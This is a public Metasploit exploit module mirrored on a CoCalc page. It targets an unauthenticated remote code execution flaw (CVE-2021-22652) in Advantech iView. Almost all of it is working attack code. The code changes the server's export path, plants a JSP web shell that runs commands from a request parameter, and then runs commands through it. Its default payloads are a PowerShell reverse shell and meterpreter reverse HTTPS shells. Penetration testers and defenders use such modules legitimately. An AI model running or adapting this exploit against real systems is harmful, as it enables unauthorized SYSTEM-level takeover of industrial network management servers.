Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/advantech_iview_unauth_rce.rb
32862 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
include Msf::Exploit::Powershell
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Advantech iView Unauthenticated Remote Code Execution',
21
'Description' => %q{
22
This module exploits an unauthenticated configuration change combined
23
with an unauthenticated file write primitive, leading to an arbitrary
24
file write that allows for remote code execution as the user running
25
iView, which is typically NT AUTHORITY\SYSTEM.
26
27
This issue was demonstrated in the vulnerable version 5.7.02.5992 and
28
fixed in version 5.7.03.6112.
29
},
30
'Author' => [
31
'wvu', # Discovery and exploit
32
'Spencer McIntyre' # Check, docs, and testing
33
],
34
'References' => [
35
['CVE', '2021-22652'],
36
['URL', 'https://www.rapid7.com/blog/post/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],
37
['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']
38
],
39
'DisclosureDate' => '2021-02-09', # ICS-CERT advisory
40
'License' => MSF_LICENSE,
41
'Platform' => 'win',
42
'Privileged' => true,
43
'Targets' => [
44
[
45
'Windows Command',
46
{
47
'Arch' => ARCH_CMD,
48
'Type' => :win_cmd,
49
'DefaultOptions' => {
50
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
51
}
52
}
53
],
54
[
55
'Windows Dropper',
56
{
57
'Arch' => [ARCH_X86, ARCH_X64],
58
'Type' => :win_dropper,
59
'DefaultOptions' => {
60
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
61
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
62
}
63
}
64
],
65
[
66
'PowerShell Stager',
67
{
68
'Arch' => [ARCH_X86, ARCH_X64],
69
'Type' => :psh_stager,
70
'DefaultOptions' => {
71
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
72
}
73
}
74
]
75
],
76
'DefaultTarget' => 2,
77
'Notes' => {
78
'Stability' => [CRASH_SAFE],
79
'Reliability' => [REPEATABLE_SESSION],
80
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
81
}
82
)
83
)
84
85
register_options([
86
Opt::RPORT(8080),
87
OptString.new('TARGETURI', [true, 'Application path', '/iView3'])
88
])
89
end
90
91
def check
92
res = send_request_cgi(
93
'method' => 'POST',
94
'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
95
'vars_post' => {
96
'page_action_type' => 'getMenuFragment',
97
'page' => 'version.frag'
98
}
99
)
100
return CheckCode::Unknown unless res&.code == 200
101
102
version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
103
return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/
104
105
version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
106
vprint_status("Identified the version as #{version}")
107
return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')
108
109
CheckCode::Appears
110
end
111
112
def exploit
113
config = retrieve_config
114
updated = update_config(config)
115
write_jsp_stub
116
117
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
118
119
case target['Type']
120
when :win_cmd
121
execute_command(payload.encoded)
122
when :win_dropper
123
execute_cmdstager
124
when :psh_stager
125
execute_command(cmd_psh_payload(
126
payload.encoded,
127
payload.arch.first,
128
remove_comspec: true
129
))
130
end
131
ensure
132
restore_config(config) if config && updated
133
end
134
135
def retrieve_config
136
print_status('Retrieving config')
137
138
res = send_request_cgi(
139
'method' => 'POST',
140
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
141
'vars_post' => {
142
'page_action_type' => 'retrieveSystemSettings'
143
}
144
)
145
146
unless res && res.code == 200 && (config = res.get_json_document.first)
147
fail_with(Failure::NotFound, 'Failed to retrieve config')
148
end
149
150
print_good('Successfully retrieved config')
151
vprint_line(JSON.pretty_generate(config))
152
153
config
154
end
155
156
def update_config(config)
157
print_status('Updating config')
158
159
config = config.dup
160
config['EXPORTPATH'] = 'webapps\\iView3\\'
161
162
res = send_request_cgi(
163
'method' => 'POST',
164
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
165
'vars_post' => {
166
'page_action_type' => 'updateSystemSettings',
167
'json_obj' => config.to_json
168
}
169
)
170
171
unless res && res.code == 200 && (config = res.get_json_document.first)
172
fail_with(Failure::NotFound, 'Failed to retrieve updated config')
173
end
174
175
unless config['EXPORTPATH'] == 'webapps\\iView3\\'
176
fail_with(Failure::NotVulnerable, 'Failed to update config')
177
end
178
179
print_good('Successfully updated config')
180
vprint_line(JSON.pretty_generate(config))
181
182
true
183
end
184
185
def write_jsp_stub
186
print_status('Writing JSP stub')
187
188
res = send_request_cgi(
189
'method' => 'POST',
190
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
191
'vars_post' => {
192
'page_action_type' => 'exportInventoryTable',
193
'col_list' => "#{jsp_stub}-NULL",
194
'sortname' => 'NULL',
195
'sortorder' => '',
196
'filename' => jsp_filename
197
}
198
)
199
200
unless res && res.code == 200
201
fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')
202
end
203
204
register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")
205
206
print_good('Successfully wrote JSP stub')
207
end
208
209
def execute_command(cmd, _opts = {})
210
cmd.prepend('cmd.exe /c ')
211
212
print_status("Executing command: #{cmd}")
213
214
res = send_request_cgi(
215
'method' => 'POST',
216
'uri' => normalize_uri(target_uri.path, jsp_filename),
217
'vars_post' => {
218
jsp_param => cmd
219
}
220
)
221
222
unless res && res.code == 200
223
fail_with(Failure::PayloadFailed, 'Failed to execute command')
224
end
225
226
print_good('Successfully executed command')
227
end
228
229
def restore_config(config)
230
print_status('Restoring config')
231
232
res = send_request_cgi(
233
'method' => 'POST',
234
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
235
'vars_post' => {
236
'page_action_type' => 'updateSystemSettings',
237
'json_obj' => config.to_json
238
}
239
)
240
241
unless res && res.code == 200 && (config = res.get_json_document.first)
242
print_error('Failed to retrieve restored config')
243
return
244
end
245
246
if config['EXPORTPATH'] == 'webapps\\iView3\\'
247
print_warning('Failed to restore config')
248
return
249
end
250
251
print_good('Successfully restored config')
252
vprint_line(JSON.pretty_generate(config))
253
end
254
255
def jsp_stub
256
%(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)
257
end
258
259
def jsp_param
260
@jsp_param ||= rand_text_alphanumeric(8..42)
261
end
262
263
def jsp_filename
264
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
265
end
266
267
end
268
269